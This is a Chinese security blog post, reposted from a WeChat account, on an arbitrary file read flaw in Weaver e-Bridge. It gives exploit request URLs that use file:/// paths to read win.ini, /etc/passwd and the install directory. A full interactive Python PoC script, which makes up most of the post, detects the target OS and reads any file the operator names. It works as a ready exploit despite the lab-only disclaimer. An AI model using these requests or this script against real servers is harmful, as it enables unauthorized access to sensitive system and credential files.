泛微云桥 e-Bridge 任意文件读取

admin 2022年12月9日18:58:51评论137 views字数 4400阅读14分40秒阅读模式
泛微云桥 e-Bridge 任意文件读取
    文章声明

安全技术类文章仅供参考,此文所提供的信息仅针对漏洞靶场进行渗透,未经授权请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
本文所提供的工具仅用于学习,禁止用于其他目的,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。

一、漏洞描述

泛微云桥(e-Bridge)是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。

泛微云桥存在任意文件读取漏洞,攻击者成功利用该漏洞,可实现任意文件读取,获取相关的敏感信息。

二、影响版本

泛微云桥 e-Bridge 2018-2019 多个版本

三、漏洞复现

系统首页显示如下

泛微云桥 e-Bridge 任意文件读取

Windows服务器

访问如下路径(以读取服务器上C:/windows/win.ini文件为例)

http://xx.xx.xx.xx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/windows/win.ini&fileExt=txt

响应中成功返回 id值,则说明含有此漏洞

泛微云桥 e-Bridge 任意文件读取

如果返回无法验证您的身份!,则证明改漏洞已被修复了

泛微云桥 e-Bridge 任意文件读取

成功验证漏洞存在之后,调用查看文件接口直接读取该文件的内容

http://xx.xx.xx.xx/file/fileNoLogin/id

泛微云桥 e-Bridge 任意文件读取

可以看到这里的响应把C:/windows/win.ini的内容显示了出来。既然该漏洞是任意文件读取,那么访问先前页面中显示的系统安装路径

http://xx.xx.xx.xx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///D:/WEAVER/ebridge/&fileExt=txt

泛微云桥 e-Bridge 任意文件读取

调用查看文件接口读取该路径下的文件,显示如下

泛微云桥 e-Bridge 任意文件读取

根据这个规律,攻击者就可以构造不同的路径读取任意文件的内容了。

Linux服务器

访问如下路径

http://xx.xx.xx.xx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt

成功返回 id值,说明含有此漏洞

调用查看文件接口访问

http://xx.xx.xx.xx/file/fileNoLogin/id

四、漏洞利用poc脚本

import base64import requestsimport randomimport reimport jsonimport sys
def title(): print('+------------------------------------------+') print('+ 公众号 : 守卫者安全 ') print('+ 漏洞名称: 泛微云桥 e-Bridge 任意文件读取 ') print('+ 使用方式: python3 poc.py ') print('+ Url格式 :>>> http://xxx.xxx.xxx.xxx ') print('+------------------------------------------')
# 判断操作系统 or 判断漏洞是否可利用def POC_1(target_url): vuln_url_1 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt" vuln_url_2 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt" vuln_url_3 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///&fileExt=txt"

headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response_1 = requests.get(url=vuln_url_1, headers=headers, verify=False, timeout=10) response_2 = requests.get(url=vuln_url_2, headers=headers, verify=False, timeout=10) response_3 = requests.get(url=vuln_url_3, headers=headers, verify=False, timeout=10) if "无法验证您的身份" in response_1.text and "无法验证您的身份" in response_2.text: print(" 漏洞已修复,不存在漏洞!") sys.exit(0) else: if "No such file or directory" in response_1.text: print("目标为 Linux 系统") id = re.findall(r'"id":"(.*?)"', response_3.text)[0] print("成功获取id:{}".format(id)) return id,"linux" elif "系统找不到指定的路径" in response_2.text: print("目标为 Windows 系统!") id = re.findall(r'"id":"(.*?)"', response_1.text)[0] print("成功获取id:{}".format(id)) return id,"windows"
else: print("无法获取目标系统!") sys.exit(0)
except Exception as e: print("请求失败:{} ".format(e)) sys.exit(0)
# 验证漏洞def POC_2(target_url, id): file_url = target_url + "/file/fileNoLogin/{}".format(id) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(url=file_url, headers=headers, verify=False, timeout=10) response.encoding = 'GBK' print("成功读取:n{}".format(response.text)) except Exception as e: print("请求失败:{} ".format(e)) sys.exit(0)
# windows 文件读取def POC_3(target_url, File): file_url = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/{}&fileExt=txt".format(File) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(url=file_url, headers=headers, verify=False, timeout=10) id = re.findall(r'"id":"(.*?)"', response.text)[0] print("成功获取id:{}".format(id)) POC_2(target_url, id) except : print("请求失败,无法读取文件")
# linux读取文件def POC_4(target_url, File): file_url = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file://{}&fileExt=txt".format(File) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(url=file_url, headers=headers, verify=False, timeout=10) id = re.findall(r'"id":"(.*?)"', response.text)[0] print("成功获取id:{}".format(id)) POC_2(target_url, id) except: print("请求失败,无法读取文件")

if __name__ == '__main__': title() target_url = str(input("Please input Attack UrlnUrl >>> ")) id,system = POC_1(target_url) POC_2(target_url, id) while True: if system == "windows": File = input("File >>> ") if File == "exit": sys.exit(0) else: POC_3(target_url, File) if system == "linux": File = input("File >>> ") if File == "exit": sys.exit(0) else: POC_4(target_url, File)

脚本运行效果如下

泛微云桥 e-Bridge 任意文件读取

原文始发于微信公众号(守卫者安全):泛微云桥 e-Bridge 任意文件读取

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月9日18:58:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泛微云桥 e-Bridge 任意文件读取http://cn-sec.com/archives/1453957.html

发表评论

匿名网友 填写信息